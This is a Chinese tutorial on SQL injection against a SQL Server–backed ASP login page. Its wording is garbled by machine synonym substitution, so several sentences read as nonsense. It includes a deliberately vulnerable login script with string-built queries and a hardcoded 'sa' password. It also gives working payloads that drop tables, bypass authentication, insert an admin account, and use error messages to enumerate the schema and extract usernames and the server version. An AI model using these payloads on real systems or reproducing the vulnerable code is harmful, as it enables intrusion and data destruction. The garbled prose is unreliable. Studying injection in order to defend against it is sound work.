介绍:
SQL是一种用于关系数据库的
构造化
查问语言 。它分为许多种,但大多数都
涣散地基于美国国家
标准化组织最新的
标准SQL-92 。典型的执行语句是query,它
可以收集
比较有达标性的记录并返回一个单一的
后果集 。SQL语言
可以
批改数据库
构造(数据定义语言)和操作数据库内容(数据操作语言) 。在这份文档中,我们将特殊
探讨SQLSERVER所
使用的Transact-SQL语言 。
当一个
突击者
可以通过往query中插入一系列的sql语句来操作数据写入到
利用程序中去,我们管这种
步骤定义成SQL注入 。
一个典型的SQL语句如下:
Select id,forename,surname from authors
这条语句将返回authors表中全部行的id,forename和surname列 。这个
后果
可以被
制约,例如:
Select id,forename,surname from authors where forename'john' and surname='smith'
需求着重指明的是字符串'john'和'smith'被单引号
制约 。明确的说,forename和surname字段是被消费者提供的输入
制约的,
突击者
可以通过输入值来往这个
查问中注入一些SQL语句,
如下:
Forename:jo'hn
Surname:smith
查问语句变为:
Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
当数据库试图去执行这个
查问时,它将返回如下
舛误:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
造成这种
后果的缘由是插入了.作为定界符的单引号 。数据库尝试去执行'hn',然而失败 。假如
突击者提供特殊的输入如:
Forename:jo';drop table authors—
Surname:
后果是authors表被删除,造成这种
后果的缘由我们稍后再讲 。
看上去好象通过从输入中去掉单引号或者通过某些
步骤幸免它们都
可以解决这个问题 。这是可行的,然而用这种
步骤做解决
步骤会存在几个
困苦 。第一,并不是全部消费者提供的数据都是字符串 。假如消费者输入的是通过消费者id来
查问author,那我们的
查问应该像这样:
Select id,forename,surname from authors where id=1234
在这种状况下,一个
突击者
可以十分
方便地在数字的结尾增加SQL语句,在
其余版本的SQL语言中,
使用各种各样的限定符号;在数据库治理系统JET引擎中,数据
可以被
使用'#'限定 。第二,幸免单引号
只管看上去
可以,然而是没必要的,缘由我们稍后再讲 。
我们更进一步地
使用一个
方便的ASP登陆页面来指出哪些能进入SQLSERVER数据库而且尝试
甄别进入一些虚构的
利用程序的权限 。
这是一个提交表单页的代码,让消费者输入消费者名和密码:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_loginasp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
</FORM>
</Font>
</BODY>
</HTML>
下面是process_login.asp的代码,它是用来操纵登陆的:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str ) {
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn ) {
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF) {
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<% Response.end return; }
else {
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1> <CENTER>ACCESS GRANTED<BR> <BR>
Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
浮现问题的地方是process_lgin.asp中产生
查问语句的
部分:
Var sql="select * from users where username='"+username+"' and password='"+password+"'";
假如消费者输入的信息如下:
Username:';drop table users—
Password:
数据库中表users将被删除,
回绝任何消费者进入
利用程序 。'—'符号在Transact-SQL中
示意
忽略'—'以后的语句,';'符号
示意一个
查问的
完毕和另一个
查问的开始 。'—'位于username字段中是必须的,它为了使这个特殊的
查问终止,而且不返回
舛误 。
突击者
可以
惟独提供他们晓得的消费者名,就
可以以任何消费者登陆,
使用如下输入:
Username:admin'—
突击者
可以
使用users表中第一个消费者,输入如下:
Username:' or 1=1—
更特殊地,
突击者
可以
使用
彻底虚构的消费者登陆,输入如下:
Username:' union select 1,'fictional_user','some_password',1—
这种
后果的缘由是
利用程序相信
突击者指定的是从数据库中返回
后果的一
部分 。
通过
舛误
信息
获得信息
这个
几乎是David Litchfield首先发现的,而且通过作者
浸透测试的;后来David写了一份文档,后来作者参考了这份文档 。这些解释
探讨了‘
舛误
信息‘潜在的机制,使读者
可以
彻底地了解它,潜在地激发他们的
威力 。
为了操作数据库中的数据,
突击者必须确定某些数据库和某些表的
构造 。例如我们
可以
使用如下语句
缔造user表:
Create talbe users(
Id int,
Username varchar(255),
Password varchar(255),
Privs int
)
而后将下面的消费者插入到users表中:
Insert into users values(0,'admin','r00tr0x!',0xffff)
Insert into users values(0,'guest','guest',0x0000)
Insert into users values(0,'chris','password',0x00ff)
Insert into users values(0,'fred','sesame',0x00ff)
假如我们的
突击者想插入一个自己的消费者 。在不晓得users表
构造的状况下,他不可能
顺利 。
即便他
比较
厄运,至于privs字段不清晰 。
突击者可能插入一个'1',这样只给他自己一个低权限的消费者 。
厄运地,假如从
利用程序(默许为ASP行为)返回
舛误
信息,那么
突击者
可以确定整个数据库的
构造,而且
可以以程序中衔接SQLSERVER的权限度曲任何值 。
(下面以一个
方便的数据库和asp脚
原来举例
注明他们是怎么工作的)
首先,
突击者想
获得
构建消费者的表的名字和字段的名字,要做这些,
突击者需求
使用select语法的having子句:
Username:' having 1=1—
这样将会浮现如下
舛误:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
因此现在
突击者晓得了表的名字和第一个地段的名字 。他们
依旧
可以通过把字段放到group by子句不得不感去找到一个一个字段名,如下:
Username:' group by users.id having 1=1—
浮现的
舛误如下:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最后
突击者得到了username字段后:
‘ group by users.id,users.username,users.password,users.privs having 1=1—
这句话并不产生
舛误,相当于:
select * from users where username=''
因此
突击者现在晓得
查问
波及users表,按顺序
使用列'id,username,password,privs' 。
可以确定每个列的类型是十分有用的 。这
可以通过
使用类型转化来实现,例如:
Username:' union select sum(username) from users—
这利用了SQLSERVER在确定两个
后果集的字段是不是相等前
利用sum子句 。尝试去计算sum会得到以下
信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
这告诉了我们'username'字段的类型是varchar 。假如是另一种状况,我们尝试去计算sum()的是数字类型,我们得到的
舛误
信息告诉我们两个
集中的字段数量不相等 。
Username:' union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我们
可以用这种技术近似地确定数据库中任何表中的任何字段的类型 。
这样
突击者就
可以写一个好的insert
查问,例如:
Username:';insert into users values(666,'attacker','foobar','0xffff)—
这种技术的潜在影响不只仅是这些 。
突击者
可以利用这些
舛误
信息显示环境信息或数据库 。通过运行一列
定然
格局的字符串
可以
获得
标准的
舛误
信息:
select * from master ..sysmessages
解释这些将实现
乏味的
信息 。
一个特殊有用的
信息关系到类型转化 。假如你尝试将一个字符串转化成一个整型数字,那么字符串的全部内容会返回到
舛误
信息中 。例如在我们
方便的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:
Username:' union select version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
这句尝试去将内置的'version'常量转化成一个整型数字,由于users表中的第一列是整型数字 。
这种技术
可以用来读取数据库中任何表的任何值 。自从
突击者对消费者名和消费者密码
比较有兴趣后,他们
比较喜爱去从users表中读取消费者名,例如:
Username:' union select min(username),1,1,1 from users where username>'a'—
这句
取舍users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
因此
突击者已经晓得消费者admin是存在的 。这样他就
可以
反复通过
使用where子句和
查问到的消费者名去寻觅下一个消费者 。